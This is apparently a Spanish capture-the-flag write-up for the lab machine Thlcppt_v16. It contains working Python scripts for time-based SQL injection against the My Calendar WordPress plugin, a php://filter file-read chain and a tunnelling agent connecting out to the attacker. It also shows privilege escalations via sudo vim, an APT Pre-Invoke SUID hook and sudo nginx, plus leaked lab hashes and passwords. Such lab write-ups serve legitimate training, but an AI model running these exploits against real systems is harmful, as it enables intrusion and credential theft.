⚫Thlcppt_v16

Hola h4ck3r, bienvenido a un nuevo post!
En este artÃculo, estaremos resolviendo la máquina Thlcppt_v16 de la plataforma The Hackers Labs.
Reconocimiento
Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envÃo de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live) 64.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina vÃctima. Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sS -sCV -p- --open --min-rate 5000 -Pn -n -vvv -oN scan 192.168.1.10

Enumeración de servicios
Web

Si miramos el código fuente o hacemos hover sobre el enlace, vemos que esta apuntando a un subdominio examend.thlcpptv16.thl
.

Registramos el dominio en nuetro archivo /etc/hosts
.
echo "192.168.1.6 thlcpptv16.thl examen.thlcpptv16.thl" >> /etc/hosts
Accedemos al enlace y nos encontramos con la siguiente web.

Como podemos observar en la web y con Wappalyzer esta construida con el CMS Wordpress.

Podemos enumerar el CMS Wordpress utilizando varias herramientas, en este caso, haré uso de wpscan
.
wpscan --url http://examen.thlcpptv16.thl/ --api-token $WP_TOKEN

My Calendar < 3.4.22 - Unauthenticated SQL Injection - CVE-2023-6360
Podemos observar en la salida del escaneo, que existe un plugin vulnerable llamado My Calendar v3.4.22. Dicho plugin es vulnerable a SQL Inejction y sin necesidad de autenticación previa.
Podemos leer más acerca de esta vulnerabilidad en los siguientes elnaces:
PoC
time curl "http://examen.thlcpptv16.thl/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)+AND+'a'%3d'a"

Podemos utilizar herramientas automatizadas como sqlmap
para explotar la SQLInjection, pero en este caso no viene mal prácticar un poco de scripting en python además de que es más divertido 😃.
Extración de Base de Datos mediante inyección SQL basada en tiempo.
#!/usr/bin/python3
import requests
import signal
import sys
import time
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
main_url = "http://examen.thlcpptv16.thl/"
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraÃdos: ")
extracted_info = ""
for limit in range(0, 5):
if limit > 0:
extracted_info += ','
for position in range(1, 25):
for character in range(33, 127):
sqli_url = main_url + f"?rest_route=/my-calendar/v1/events&from=1' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(schema_name,{position},1))={character},SLEEP(1),0) FROM information_schema.schemata LIMIT {limit},1)a) AND 'a'='a"
p1.status(sqli_url)
res = requests.get(sqli_url)
if res.elapsed.total_seconds() > float(1):
extracted_info += chr(character)
p2.status(extracted_info)
break
f = open('databases.txt', 'w')
f.write(extracted_info)
f.close()
if __name__ == '__main__':
makeSQLi()
Encontramos la base de datos de wordpress.

Extracción de los usuarios de la tabla wp_users
wp_users
Teniendo en cuenta que la base de datos es wordpress, podemos obtener los usuarios de la tabla wp_users
.
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'
main_url = "http://examen.thlcpptv16.thl/"
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraÃdos: ")
extracted_info = ""
for limit in range(0,3):
if limit > 0:
extracted_info += ','
last_position_char = 0
for position in range(1, 36):
for character in characters:
char = ord(character)
sqli_url = main_url + f"?rest_route=/my-calendar/v1/events&from=1' AND (SELECT IF(ASCII(SUBSTRING(user_login,{position},1))={char},SLEEP(1),0) FROM wordpress.wp_users LIMIT {limit},1) AND 'a'='a"
p1.status(sqli_url)
res = requests.get(sqli_url)
if res.elapsed.total_seconds() > 1:
extracted_info += character
last_position_char = position
p2.status(extracted_info)
break
elif (position - last_position_char) > 1:
break
f = open('databases.txt', 'w')
f.write(extracted_info)
f.close()
if __name__ == '__main__':
makeSQLi()

Extracción de las contraseñas de la tabla wp_users
wp_users
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '.$/'
main_url = "http://examen.thlcpptv16.thl/"
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraÃdos: ")
extracted_info = ""
for limit in range(0,3):
if limit > 0:
extracted_info += ','
last_position_char = 0
for position in range(1, 36):
for character in characters:
char = ord(character)
sqli_url = main_url + f"?rest_route=/my-calendar/v1/events&from=1' AND (SELECT IF(ASCII(SUBSTRING(user_pass,{position},1))={char},SLEEP(1),0) FROM wordpress.wp_users LIMIT {limit},1) AND 'a'='a"
p1.status(sqli_url)
res = requests.get(sqli_url)
if res.elapsed.total_seconds() > 1:
extracted_info += character
last_position_char = position
p2.status(extracted_info)
break
elif (position - last_position_char) > 1:
break
f = open('databases.txt', 'w')
f.write(extracted_info)
f.close()
if __name__ == '__main__':
makeSQLi()

examinador:$P$B43UAoTTnv0stdbxGqzwyQtyXm86x/1
jerry:$P$B0uohNeAjd6aq3n0dv6NC7Nhkro0Kt.
tom:$P$BJrv/Sv/rBlufcIW5FiMdUW4lA5UrN1
Guardamos los hash en un archivo y los crackeamos utilizando la herramienta john
.

tom:iloveme2
Accedemos al wp-admin
e iniciamos sesión con las credenciales anteriores.

Si miramos en la web, encontramos un post el cual hace mención a una filtración de datos y también a un nuevo subdominio.
Agregamos examendos.thlcpptv16.thl
al archivo /etc/hosts
y accedemos a la ruta.

WrapWrap Filter
Observamos que nos indica que debemos ingresar una url la cual apunte a un archivo json
o txt
.
Podemos probar esto, creando un sample.json y compartirlo mediante un simple servidor http con python.
{"test": "test"}

Pero vemos que nos indica que no puede encontrar el archivo, a pesar de que recibimos correctamente la petición.

Si observamos bien el texto que nos da el formulario, podemos ver que nos da una pequeña pista filter
y WrapWrap
haciendo alución a los filtros y wrappers de php.
Si buscamos en Google por Wrap Filters Php
, encontramos el este repositorio.
Lo clonamos a nuestra máquina.
git clone https://github.com/ambionics/wrapwrap
Además, debemos descargar como requerimiento ten.
git clone https://github.com/cfreal/ten.git
cd ten
pip3 install .
Luego, ingresamos al directorio del repositorio wrapwrap
y podes ejecutar lo siguiente como PoC.
./wrapwrap.py /etc/passwd '{"message: "' '"}' 1000

La ejecución de este script, genera un archivo llamado chain.txt
el cual contien una cadena php://filter
que agrega un prefijo y un sufijo al contenido de un archivo. En este caso, el prefijo es '{"message": "'
y el sufijo '"}'
.
Creamos un simple servidor HTTP con Python para compartir el archivo chain.txt
.

Ahora, realizamos una petición utilizando en este caso curl
al archivo process.php
.
curl -X POST http://examendos.thlcpptv16.thl/process.php -H 'content-type:application/x-www-form-urlencoded' --data 'url=http://192.168.1.18/chain.txt'

Genial, logramos leer el archivo /etc/passwd
.
Ahora, si recordamos lo que mencionaba el post, el archivo que sea habia filtrado es el /var/www/examen.thlcpptv16.thl/wp-config.php
Intentemos leer ese archivo haber que encontramos.
Corremos nuevamente el script para generar el archivo chain.txt
.

Creamos el servidor HTTP con python y lanzamos la petición con curl
.
Podemos observar, que logramos leer el contenido del archivo wp-config.php
, donde encontramos una contraseña.

Probamos conectarnos con el usuario por ssh con tom
y estas credenciales.
tom:T0mB3stP4ssw0rd! (SSH)
Usuario tom
tom

Si miramos en el directorio home de tom, encontramos un archivo llamado ToDo
y dentro de este lo siguiente:

Vemos que hace referencia a un supuesto alias
y a otro usuario llamado rafael
y una nueva máquina.
También hace alución al usuario jerry
encontrado anteriormente.
Si miramos el archivo .bashrc
, podemos observar que existe un alias llamado rafael
, el comando a ejecutar intenta establecer una conexión SSH al servidor 172.101.0.5
como el usuario rafael
, proporcionando automáticamente la contraseña Zds18Blt5iWY006ZaTpMclE1
.
rafael:Zds18Blt5iWY006ZaTpMclE1 (SSH) 172.101.0.5

Antes de seguir adelante e intetar conectarnos a la nueva máquina, podemos seguir enumerando un poco más la máquina actual para ver si encontramos alguna otra cosa interesante.
Si miramos dentro del directorio /var/backup
existe un archivo llamado passwd.dll
el cual pertenece al usuario jerry
.

A pesar de que el contenido es legible, parece estar codificado en algun tipo de algoritmo.
En este caso, esta codificada utilizando ROT13, para lo cual podemos hacer uso de la utilidad rot13
.

Podemos observar, que nos revela la clave ssh del usuario jerry
.
jerry:GPAZHGNvMjDdOh9969A0YAE6 (jerry_laptop)
Teniendo estas credenciales, lo primero que haremos es ingresar a la máquina de rafael
.
Usuario rafael
rafael

Leemos la flag de user.txt

Escalación de privilegios
Para escalar nuestros privilegios, realizamos una enumeración básica del sistema. Vemos que los unicos usuarios en esta máquina con shell son rafael
y root
. Por lo que todo indica, que debemos escalar directamente a root
sin realizar ningun movimiento lateral previo.

Si hacemos un sudo -l
vemos que el usuario rafael
puede ejecutar el comando /usr/bin/vim
con privilegios de superusuario (sudo
) sin necesidad de proporcionar una contraseña.
Si miramos en GTFobins vemos que existe una forma de pode escalar nuestros privielgios.

Por lo que procedemos a escalar nuestros privilegios.

Genial, somos root
dentro del contenedor.
Si miramos en el directorio root
, encontramos un fichero llamado tunnelRafael.conf
el cual coincide con la configuración tÃpica de WireGuard, una herramienta de VPN (Virtual Private Network).
Vemos que se configura una nueva subred 10.13.13.1/24
.
Descargamos el fichero a nuestra máquina atacante.
Para poder acceder a la nueva subred deberemos jugar con la herramienta Ligolo-NG.
Descargamos los binarios de agent
y proxy
.
Creamos la nueva interfaz.
sudo ip tuntap add user d4redevil mode tun ligolo
sudo ip link set ligolo up

Ejecutamos el proxy de Ligolo.

Y ahora lo que debemos ejectura el agent
de ligolo en la máquina vÃctima.
./agent -connect 192.168.1.18:11601 -ignore-cert


Iniciamos la sesión.

Añadimos la nueva ruta.
sudo ip route add 172.101.0.0/28 dev ligolo

Iniciamos la VPN con wireguard.
Para esto, podemos utilizar la herramienta wg-quick
que para instalarla en Kali podemos hacer:
sudo apt install wireguard-tools resolvconf
Para ejecutarla simplemente debemos indicar la opción up
y pasarle el archivo de configuración de la VPN.

Si ejecutamos un ip a
podemos comprobar que tenemos la nueva interfaz de la VPN configurada.


Podemos comprobar con un simple escaneo, que la máquina 10.13.13.3
tiene el puerto 22 (SSH) abierto.

Usuario jerry
jerry
Nos conectamos a la máquina con el usuario jerry
.

Elevación de privilegios
Realizamos una enumeración utilizando la herramienta linpeas.sh
.

Como el usuario jerry
pertenece al grupo sistema
tiene capacidad de escritura en el directorio /etc/apt/apt.conf.d

En los archivos de configuración de APT (Advanced Package Tool) en sistemas basados en Debian, la sintaxis APT::Update::Pre-Invoke:: "/bin/bash -c '{"chmod u+s /bin/bash"}';";
se utiliza para definir acciones que deben ejecutarse antes de que el comando apt update
comience su operación.
Sintaxis:
APT: Indica que esta configuración pertenece al sistema APT.
Update: Se refiere especÃficamente a la acción de actualización del Ãndice de paquetes (
apt update
).Pre-Invoke: Este es un "hook" o gancho que se ejecuta antes de que comience la operación de actualización.
::=: Es el operador de asignación utilizado en los archivos de configuración de APT para definir el valor de una opción.
/bin/bash -c '{"chmod u+s /bin/bash"}';
: Especifica el comando o script que se ejecutará. En este caso, se asignan privilegios SUID al binario Bash.
Referencias: https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/
Creamos un archivo llamado 01ab
.
El motivo por le cual el nombre del archivo es este, se debe a lo siguiente:
Número para el Orden de Ejecución:
00
a09
: Archivos que se deben procesar primero.10
a89
: Archivos para configuraciones estándar.90
a99
: Archivos para configuraciones finales o personalizadas que deben sobrescribir las configuraciones anteriores.
APT::Update::Pre-Invoke:: "/bin/bash -c '{"chmod u+s /bin/bash"}';";


Ejecutamos bash -p
y escalamos nuestros privilegios.
Bajo el directorio /root
, encotramos un archivo llamado homeCreds.txt
, y dentro de las credenciales del usuario jerry
.

Usuario jerry
host
jerry
hostNos conectamos a la máquina principal con estas credenciales por ssh.

Escalación de privilegios
Si realizamos una enumeración básica, nos encontramos con que podemos ejecutar con sudo
, como el usuario root
y sin proporcionar contraseña el binario de nginx
.

Si investigamos un poco sobre la escalada de privilegios abusando de ngnix con sudo, encontramos este exploit:
En pocas palabras, lo que realiza el exploit es configurar y ejecutar un servidor Nginx con privilegios de root, genera una clave SSH y añade la clave pública al archivo authorized_keys
del usuario root en el servidor.
Subimos el script a la máquina vÃctima, asignamos permisos de ejecución y lo ejecutamos.

Copiamos esta clave a un archivo id_rsa
para luego finalmente conectarnos a la máquina como el usuario root
.

Finalmente, leemos la flag de root.txt
.
De esta manera, concluimos la resolución de la máquina Thlcppt_v16.
Espero que los conceptos hayan quedado claros y hayas disfrutado del contenido.
¡Gracias por leer!
Happy Hacking!
Última actualización